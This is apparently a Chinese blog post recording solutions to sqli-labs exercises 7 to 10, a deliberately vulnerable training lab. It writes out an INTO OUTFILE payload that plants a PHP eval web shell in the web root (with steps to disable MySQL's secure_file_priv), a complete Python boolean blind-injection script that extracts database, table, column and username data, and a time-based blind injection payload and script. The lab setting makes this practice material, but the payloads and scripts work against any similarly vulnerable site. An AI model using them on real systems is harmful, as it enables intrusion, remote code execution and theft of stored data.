SQL-labs练习记录(7~10)【文件上传,布尔,时间注入】

SQL-labs练习记录(7~10)【文件上传,布尔,时间注入】

Less 7

这道题显然前面的都不奏效了,报错被替换成统一信息,无法获得信息提示,更不能报错注入。
当使用 ?id=1 and 1=2 时页面正常,仅能知道不是整形注入,但也不能确定是字符注入。
确定闭合方式时,单引号频繁报错
双引号的闭合貌似没有问题 但是又没有回显。
这里就要开始提到文件上传了,数据库的file权限规定了数据库用户是否有权限向操作系统内写入和读取已存在的数据
into outfile命令使用的环境:
服务器上写入一个文件的文件夹的完整路径
这个命令的意义是将查询结果导出到一个文件中,比如将一句话木马导入到一个php文件中我们就可以浏览它的后台了。
当然这里有很多问题:
1.是否有写入权限
2.如何知道上传路径
3.如何写木马,如果被屏蔽了怎么办?
1和3我们都不好解决,先来看看如何找路径吧。
有两种方式,要么直接记常见的目录去试,比如linux的nginx为/usr/local/nginx/html.
要么使用这两个函数
@@datadir 读取数据库路径
@@basedir MYSQL 获取安装路径
但是吧,这里没有回显,我们在前面试试。
在这里插入图片描述

我们读取到了,我们向数据库传数据吧

?id=1' union select "<?php @eval($_POST['bin']);?>" into outfile "C:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\data\\bin.php" --+

注意由于是双引号,并且表示路径需转义所以路径会多一个’’
这里我一直上传不了,最后发现在高版本的mysql中,默认不允许导入导出文件,要修改一下参数。
当 secure_file_prive=null时,限制mysqld 不允许导入 | 导出,
当secure_file_priv=/tmp/ 时,限制mysqld 的导入 | 导出 只能发生在/tmp/目录下
不对mysqld的导入|导出做限制 即:secure_file_prive=;
具体修改在数据库目录下的my.ini配置文件,没有就添上。
在这里插入图片描述
写上命令:

?id=1')) union select 1,'2','<?php @eval($_POST["giantbranch"]);?>' into outfile "C:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\data\\bin.php" --+

在这里,其实有两个小问题,一个是闭合,我们要在前面的环节猜出闭合是什么,正确闭合应该是 ')) 然后是数据组,这个要靠我们慢慢试,必须以三个值的形式传上去。
正式传入需要传入到www目录下

?id=1')) union select 1,'2','<?php @eval($_POST["giantbranch"]);?>' into outfile "C:\\phpstudy_pro\\www\\bin1.php" --+

上传成功,可以在网页端查看一下。

成功拿到shell(使用的菜刀)
在这里插入图片描述

Less 8

在这道题中,错误的回显直接没有了。只能判断是字符型还是整形,看起来没有什么办法。而这就是经典的布尔盲注。
简单来说,页面只有’true’返回数据和’false’不显示两种状态。就是布尔类型。
这里就要用到盲注脚本–布尔类型
这个脚本我手写的时候可以说是多灾多难,不过思路是对的,还行,就是速度慢了点。
这里仅供参考吧:
(在查看时可以查看模块化的函数,发布时记得注明出处哦)

import requests

url = 'http://127.0.0.1/sqli-labs-master/Less-8/'
flag='You are in'
#设置重连次数以及将链接改为短连接
#防止因http连接次数过多导致的max retries with url问题
requests.adapters.DEFAULT_RETRIES=5
requests=requests.session()
requests.keepalive=False

def database_len():
	for i in range(1,10):
		payload = "?id=1' and length(database())>%d" %i
		r = requests.get(url+payload+'%23')
		if flag in r.text:
			#print(i)
			pass
		else:
			print('database_length:',i)
			break
 
def database_name():
	name = ''
	for j in range(1,9):
		for i in 'sqcwertyuioplkjhgfdazxvbnm':
			payload="?id=1' and substr(database(),%d,1)='%s'" %(j,i)
			#print(url+'%23')
			r = requests.get(url+payload+'%23')
			if flag in r.text:
				name = name+i
				#print(name)
				break
	print('database_name:',name)
	return name
	
def table_number(database_name):
    for i in range(9999):
        payload = f"?id=1'+and+(select+count(table_name)+from+information_schema.tables+where+table_schema='{database_name}')={i}%23"
        r=requests.get(url+payload)
        if flag in r.text:
            print(f'该库中有{i}张表\n')
            table_num = i
            break
    return i

def table_name(tableNumber):
	for l in range(0,tableNumber):#第几个表
		table_name = ''
		for i in range(1,50):#爆破表名长度
			tableLen_payload = "?id=1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit "+str(l)+",1),1))="+str(i)+"%23"
			if flag in requests.get(url+tableLen_payload).text:
				tableLen = i
				break
		print("table"+str(l+1)+":",tableLen)
	#爆表名
		for m in range(0,tableLen+1):
			for n in range(1,128):
				tableName_payload = "?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit "+str(l)+",1),"+str(m)+",1))="+str(n)+"%23"
				if flag in requests.get(url+tableName_payload).text:
					table_name = table_name + chr(n)
					break
		print("tableName"+str(l+1)+":"+table_name)

def column_names():
	columnNumber=0
	table_name=input('输入您要查看的表名:')
	for l in range(1,50):
		columnNumber_payload = "?id=1' and (select count(column_name) from information_schema.columns where table_name='{}' and table_schema='security')=".format(table_name)+str(l)+"%23"#选表
		if flag in requests.get(url+columnNumber_payload).text:
			columnNumber = l
			break
	print("columnNumber:",columnNumber)
	#爆列名长度
	for l in range(0,columnNumber):#第几列
		columnName = ''
		for i in range(1,50):
			columnLen_payload = "?id=1' and length(substr((select column_name from information_schema.columns where table_name='{}' and table_schema='security' limit ".format(table_name)+str(l)+",1),1))="+str(i)+"%23"
			if flag in requests.get(url+columnLen_payload).text:
				columnLen = i
				break
		print("column"+str(l+1)+"Len:",columnLen)
	#爆列名
		for m in range(1,columnLen+1):
			for n in range(1,128):
				columnName_payload = "?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='{}' and table_schema='security' limit ".format(table_name)+str(l)+",1),"+str(m)+",1))="+str(n)+"%23"
				if flag in requests.get(url+columnName_payload).text:
					columnName = columnName + chr(n)
					break
		print("columnName"+str(l+1)+":"+columnName)

def show_shuju():
	shujuNumber=0
	for l in range(1,499):
		shujuNumber_payload = "?id=1' and (select count(username) from users)="+str(l)+"%23"#从users表中选username列
		if flag in requests.get(url+shujuNumber_payload).text:
			shujuNumber = l
			break
	print("数据条数:",shujuNumber)
	#数据内容
	shujuLen=0
	for l in range(0,shujuNumber):
		shuju = ''
		for i in range(1,20):
			shujuLen_payload = "?id=1' and length(substr((select username from users limit "+str(l)+",1),1))="+str(i)+"%23"
			if flag in requests.get(url+shujuLen_payload).text:
				shujuLen = i
				break
		for m in range(1,shujuLen+1):
			for n in range(1,128):
				shuju_payload = "?id=1' and ascii(substr((select username from users limit "+str(l)+",1),"+str(m)+",1))="+str(n)+"%23"
				if flag in requests.get(url+shuju_payload).text:
					shuju = shuju + chr(n)
					break
		print(l+1,":",shuju)

def main():
	Database_name=''
	print('标准布尔盲注流程:')
	database_len()
	Database_name=database_name()
	tableNumber=table_number(Database_name)
	table_name(tableNumber)
	column_names()
	show_shuju()#这里默认选取的是username,可以自行更换或者使用输出提示

if __name__=='__main__':
	main()

这里的脚本思路是第一题的完整注入流程。下一题吧

Less9

这题刚开始看真是令人费解,无论是正确还是错误都只会显示一个信息,不过测试还是发现了一些猫腻(标题给的提示blind-time based)。那就是返回时间不同,正确语句闭合后给定指定等待时间能够正确等待后刷新页面,错误语句则不能正确等待,那么这就是另一种意义上的布尔注入。举个例子:
(if的效果是第一参数为真就返回第二参数,否则返回第三参数)

?id=1' and if(length(database())>3 ,sleep(5),1) -- -

效果为:
在这里插入图片描述
说明大于三为真
由此类推,测试到8的时候就不等待了,那么当前数据库的长度就是8.
可以看出,时间盲注很隐蔽,但是一旦发现是比较好应用的。
接下来就是脚本了:
思路与上文区别不大,这里只给出一个雏型,不过也能够正常工作,更加完整的注入流程和输入提示什么的可以自己修改修改:

import requests
import time
 
url = 'http://localhost/sqli-labs-master/Less-10/?id=1'

database_now="select database()"
 
database = 'select schema_name from information_schema.schemata'
 
tables = 'select table_name from information_schema.tables where table_schema=database()'#当前数据库的表
 
column = 'select column_name from information_schema.columns where table_name="users" and table_schema=database()'#table_name可以进行修改

data='select concat(username) from security.users'
 
def get_things(string):
	result = ''
	for i in range(1,30):
		for j in range(48,123):
			payload = '" and if(ascii(substr(({} limit 1,1),{},1))={},sleep(2),1) --+'.format(string,i,j)#limit的值可以改变
			stime =time.time()
			r = requests.get(url+payload)
			etime = time.time()
			if etime-stime >=2:#get前后的时间差值判断
				result += chr(j)
				print (result)
				break
		if j==122:#没有命中迅速跳出
			break


#get_things(database_now)
#get_things(database)#要遍历各个数据库的话需要改一改筛选位置
#get_things(tables)
#get_things(column)
get_things(data)

Less10

这道题与第九题一样是时间盲注,仅仅是闭合方式变成了双引号,更改一下脚本即可。
(上面的脚本就是基于Less10写的哟)

posted @ 2021-06-17 00:43  Sayo-NERV  阅读(50)  评论(0编辑  收藏  举报